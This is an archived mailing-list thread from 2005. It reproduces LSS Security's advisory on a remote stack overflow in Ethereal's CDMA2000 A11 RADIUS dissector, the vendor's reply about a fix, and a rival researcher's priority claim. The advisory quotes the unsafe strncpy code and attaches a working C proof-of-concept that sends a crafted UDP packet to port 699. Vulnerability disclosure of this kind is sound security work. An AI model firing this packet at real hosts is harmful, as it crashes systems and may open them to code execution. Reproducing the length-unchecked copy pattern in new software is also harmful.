PDA

Bekijk Volledige Versie : Ethereal remote buffer overflow



LSS Security
08/03/05, 23:45
--3V7upXqbjpZ4EhLz
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


LSS Security Advisory #LSS-2005-03-04
http://security.lss.hr

---

Title : Ethereal remote buffer overflow
Advisory ID : LSS-2005-03-04
Date : 08.03.2005
Advisory URL: : http://security.lss.hr/en/index.php?page=exp
Impact : Stack overflow and possible code execution
Risk level : High
Vulnerability type : Remote
Vendors contacted : Yes

---




===[ Overview

Ethereal is used by network professionals around the world for troubleshooting,
analysis, software and protocol development, and education. It has all of the
standard features you would expect in a protocol analyzer, and several
features not seen in any other product. Its open source license allows talented
experts in the networking community to add enhancements. It runs on all popular
computing platforms, including Unix, Linux, and Windows.



===[ Vulnerability

There is remote buffer overflow vulnerability in Ethereal dissector for
CDMA2000 A11 packets. Vulnerability is located in dissect_a11_radius() function
in packet-3g-a11.c used for RADIUS authentication dissection. Number of bytes
that will be copied from packet to buffer in stack is taken from packet itself.
16 bytes are reserved for that buffer, and string length can be up to 256 bytes
(unsigned char), so is possible to overflow local variables and return address.


packet-3g-a11.c:
----------------
#define MAX_STRVAL 16
....
dissect_a11_radius( tvbuff_t *tvb, int offset, proto_tree *tree, int app_len)
{
....
size_t radius_len;
...
guchar str_val[MAX_STRVAL];
...
radius_len = tvb_get_guint8(tvb, offset + 1);
...
strncpy(str_val, tvb_get_ptr(tvb,offset+2,radius_len-2), radius_len-2);
....
}
----------------

A similar vulnerability was also found in same function few lines below where
RADIUS attributes are copied to stack.

packet-3g-a11.c:
----------------
#define MAX_STRVAL 16
....
dissect_a11_radius( tvbuff_t *tvb, int offset, proto_tree *tree, int app_len)
{
....
guint attribute_len;
...
guchar str_val[MAX_STRVAL];
...
attribute_len = tvb_get_guint8(tvb, offset + radius_offset + 1);
...
case ATTR_TYPE_STR:
strncpy(str_val,tvb_get_ptr(tvb,offset+radius_offs et+2,attribute_len - 2),
attribute_len - 2);

....
}
----------------



===[ Affected versions

All versions after 3G-A11 dissector was added to CVS including latest 0.10.9.
Vulnerability was tested with latest Ethereal on Linux and Windows.



===[ Fix

It seems that that they have fixed that vulnerability just few days ago,
and new version will probably be available soon from http://www.ethereal.com.



===[ PoC Exploit

Exploit is in attachment, and URL http://security.lss.hr/en/PoC/



===[ Credits

Credits for this vulnerability goes to Leon Juranic.



===[ LSS Security Contact

LSS Security Team, <eXposed by LSS>

WWW : http://security.lss.hr
E-mail : security@LSS.hr
Tel : +385 1 6129 775





--3V7upXqbjpZ4EhLz
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="eth0day.c"

/*
*
* Ethereal 3G-A11 remote buffer overflow PoC exploit
* --------------------------------------------------
* Coded by Leon Juranic <ljuranic@lss.hr>
* LSS Security <http://security.lss.hr/en/>
*
*/

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>


main (int argc, char **argv)
{
int sock;
struct sockaddr_in sin;
unsigned char buf[1024];
char bla[200];

sock=socket(AF_INET,SOCK_DGRAM,0);

sin.sin_family=AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_port = htons(699);

buf[0] = 22;
memset(buf+1,'A',19);
buf[20] = 38;
*(unsigned short*)&buf[22] = htons(100);
*(unsigned short*)&buf[28] = 0x0101;
buf[30] = 31;
buf[31] = 150; // len for overflow...play with this value if it doesn't work

memset (bla,'B',200);
strncpy (buf+32,bla,180);

sendto (sock,buf,200,0,(struct sockaddr*)&sin,sizeof(struct sockaddr));
}



--3V7upXqbjpZ4EhLz--

Gerald Combs
09/03/05, 17:55
Ethereal 0.10.10 will be released on Thursday, March 10. It will fix
this as well as two other security and stability-related issues. If you
need a fix immediately, you can download source tarballs and Windows
installers from

http://www.ethereal.com/distribution/buildbot-builds/


LSS Security wrote:
> LSS Security Advisory #LSS-2005-03-04
> http://security.lss.hr
>
> ---
>
> Title : Ethereal remote buffer overflow
> Advisory ID : LSS-2005-03-04
> Date : 08.03.2005
> Advisory URL: : http://security.lss.hr/en/index.php?page=exp
> Impact : Stack overflow and possible code execution
> Risk level : High
> Vulnerability type : Remote
> Vendors contacted : Yes
>
> ---
>
>
>
>
> ===[ Overview
>
> Ethereal is used by network professionals around the world for troubleshooting,
> analysis, software and protocol development, and education. It has all of the
> standard features you would expect in a protocol analyzer, and several
> features not seen in any other product. Its open source license allows talented
> experts in the networking community to add enhancements. It runs on all popular
> computing platforms, including Unix, Linux, and Windows.
>
>
>
> ===[ Vulnerability
>
> There is remote buffer overflow vulnerability in Ethereal dissector for
> CDMA2000 A11 packets. Vulnerability is located in dissect_a11_radius() function
> in packet-3g-a11.c used for RADIUS authentication dissection. Number of bytes
> that will be copied from packet to buffer in stack is taken from packet itself.
> 16 bytes are reserved for that buffer, and string length can be up to 256 bytes
> (unsigned char), so is possible to overflow local variables and return address.
>
>
> packet-3g-a11.c:
> ----------------
> #define MAX_STRVAL 16
> ...
> dissect_a11_radius( tvbuff_t *tvb, int offset, proto_tree *tree, int app_len)
> {
> ...
> size_t radius_len;
> ...
> guchar str_val[MAX_STRVAL];
> ...
> radius_len = tvb_get_guint8(tvb, offset + 1);
> ...
> strncpy(str_val, tvb_get_ptr(tvb,offset+2,radius_len-2), radius_len-2);
> ...
> }
> ----------------
>
> A similar vulnerability was also found in same function few lines below where
> RADIUS attributes are copied to stack.
>
> packet-3g-a11.c:
> ----------------
> #define MAX_STRVAL 16
> ...
> dissect_a11_radius( tvbuff_t *tvb, int offset, proto_tree *tree, int app_len)
> {
> ...
> guint attribute_len;
> ...
> guchar str_val[MAX_STRVAL];
> ...
> attribute_len = tvb_get_guint8(tvb, offset + radius_offset + 1);
> ...
> case ATTR_TYPE_STR:
> strncpy(str_val,tvb_get_ptr(tvb,offset+radius_offs et+2,attribute_len - 2),
> attribute_len - 2);
>
> ...
> }
> ----------------
>
>
>
> ===[ Affected versions
>
> All versions after 3G-A11 dissector was added to CVS including latest 0.10.9.
> Vulnerability was tested with latest Ethereal on Linux and Windows.
>
>
>
> ===[ Fix
>
> It seems that that they have fixed that vulnerability just few days ago,
> and new version will probably be available soon from http://www.ethereal.com.
>
>
>
> ===[ PoC Exploit
>
> Exploit is in attachment, and URL http://security.lss.hr/en/PoC/
>
>
>
> ===[ Credits
>
> Credits for this vulnerability goes to Leon Juranic.
>
>
>
> ===[ LSS Security Contact
>
> LSS Security Team, <eXposed by LSS>
>
> WWW : http://security.lss.hr
> E-mail : security@LSS.hr
> Tel : +385 1 6129 775
>
>
>
>
>
>
> ------------------------------------------------------------------------
>
> /*
> *
> * Ethereal 3G-A11 remote buffer overflow PoC exploit
> * --------------------------------------------------
> * Coded by Leon Juranic <ljuranic@lss.hr>
> * LSS Security <http://security.lss.hr/en/>
> *
> */
>
> #include <stdio.h>
> #include <sys/socket.h>
> #include <sys/types.h>
> #include <sys/stat.h>
> #include <netinet/in.h>
> #include <arpa/inet.h>
> #include <netdb.h>
>
>
> main (int argc, char **argv)
> {
> int sock;
> struct sockaddr_in sin;
> unsigned char buf[1024];
> char bla[200];
>
> sock=socket(AF_INET,SOCK_DGRAM,0);
>
> sin.sin_family=AF_INET;
> sin.sin_addr.s_addr = inet_addr(argv[1]);
> sin.sin_port = htons(699);
>
> buf[0] = 22;
> memset(buf+1,'A',19);
> buf[20] = 38;
> *(unsigned short*)&buf[22] = htons(100);
> *(unsigned short*)&buf[28] = 0x0101;
> buf[30] = 31;
> buf[31] = 150; // len for overflow...play with this value if it doesn't work
>
> memset (bla,'B',200);
> strncpy (buf+32,bla,180);
>
> sendto (sock,buf,200,0,(struct sockaddr*)&sin,sizeof(struct sockaddr));
> }
>
>

Diego Giagio
09/03/05, 18:05
> ---
>
> Title : Ethereal remote buffer overflow
> Advisory ID : LSS-2005-03-04
> Date : 08.03.2005
> Advisory URL: : http://security.lss.hr/en/index.php?page=exp
> Impact : Stack overflow and possible code execution
> Risk level : High
> Vulnerability type : Remote
> Vendors contacted : Yes
>
> ---

This vulnerability was first discovered by me, on 01/Mar/2005. The vendor was
immediatelly contacted, as you can see below:

http://marc.theaimsgroup.com/?l=ethereal-dev&m=110973103628823&w=2
http://marc.theaimsgroup.com/?l=ethereal-dev&m=110973731214683&w=2

This vulnerability wouldn't made public until the next Ethereal's version
comes out (hopefully 10 or 11 this month), as I dealed with the vendor.

A proof-of-concept remote root exploit was made by me, but will only be
publicized on schedule.


Diego Giagio